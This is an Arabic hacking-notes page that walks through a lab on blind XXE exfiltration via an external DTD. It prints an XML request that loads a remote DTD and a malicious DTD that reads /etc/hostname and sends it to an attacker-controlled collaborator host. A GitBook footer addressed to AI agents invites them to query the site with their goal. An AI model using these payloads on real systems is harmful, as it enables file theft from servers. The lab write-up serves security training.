> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xxe/blind-xxe-exfiltration-via-external-dtd.md).

# استخراج XXE أعمى عبر DTD خارجي

### استغلال Blind XXE لاستخراج البيانات باستخدام DTD خارجي خبيث

المختبر: ميزة **"التحقق من المخزون"** الذي يحلل XML ولكن **لا تعرض** المحتوى المحقون (XXE الأزرق / OOB). / السلوك الملحوظ: يقبل المحلل عبارة DOCTYPE تربط DTD خارجيًا ويُجري طلبات إليه.

استخراج بيانات الخادم المحلي بصمت (مثل `/etc/hostname`) وذلك بإجبار محلل XML على تحميل DTD خارجي خبيث يقرأ الملف نفسه ويُطلق طلب HTTP(S) إلى خادم التحكّم الخاص بنا (collaborator / exploit server) يحتوي على المحتوى المقروء.

#### مثال على حمولة مُرسلة إلى الخادم (النداء الأولي الذي يتضمن DTD خارجيًا)

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://2777wjy7kmh9uyirsd64t7zomfs6gw4l.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

> ملاحظة: هنا يتم استضافة الـ DTD الخارجي على خادمنا (exploit server). يجب أن يسترجعه المحلل كي تعمل الهجمة.

<figure><img src="/files/5b8f02b1076a0994d99c4b5e7a5f76129f6137aa" alt=""><figcaption></figcaption></figure>

#### محتوى خبيث موضوع على خادمنا (DTD خارجي)

يحتوي الـ DTD الذي يقدمه خادم الاستغلال على كيانات تقرأ ملفًا محليًا وتبني كيانًا مُقيَّمًا سيُطلق طلبًا إلى collaborator مع المحتوى المُسرَّب:

{% code overflow="wrap" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://pibu769uv9sw5lte30hr4uabx23urkf9.oastify.com?content=%file;'>">
%eval;
%exfil;
```

{% endcode %}

شرح موجز:

* `%file`: يقرأ `file:///etc/hostname` الملف المحلي.
* `%eval`: يُنشئ ديناميكيًا `exfil` كيانًا تكون قيمته عنوان URL موجَّهًا إلى خادمنا لاستخراج البيانات ويتضمن `%file` المحتوى كـ `المحتوى` المعامل.
* `%eval;` و `%exfil;` ما يؤدي إلى التوسيع وإلى استعلام HTTP صادر يحتوي على البيانات.

#### مثال كامل (النداء النهائي من المهاجم إلى التطبيق الضعيف)

{% code overflow="wrap" %}

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://exploit-0a230088031451be8148386401b600f9.exploit-server.net/exploit"> %myFile;]>

<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

* الـ DTD إلى `https://.../exploit` يحتوي على تعريفات DTD الخبيثة المذكورة أعلاه.
* عندما يتعافى المحلل ويقيّم هذا الـ DTD، ينتهي به الأمر إلى إجراء استعلام HTTP إلى خادمنا لنزع التسريب مع `/etc/hostname` المحتوى.

<figure><img src="/files/368c39f95ffb4a0246a3bb508409aabe2604a3f2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xxe/blind-xxe-exfiltration-via-external-dtd.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
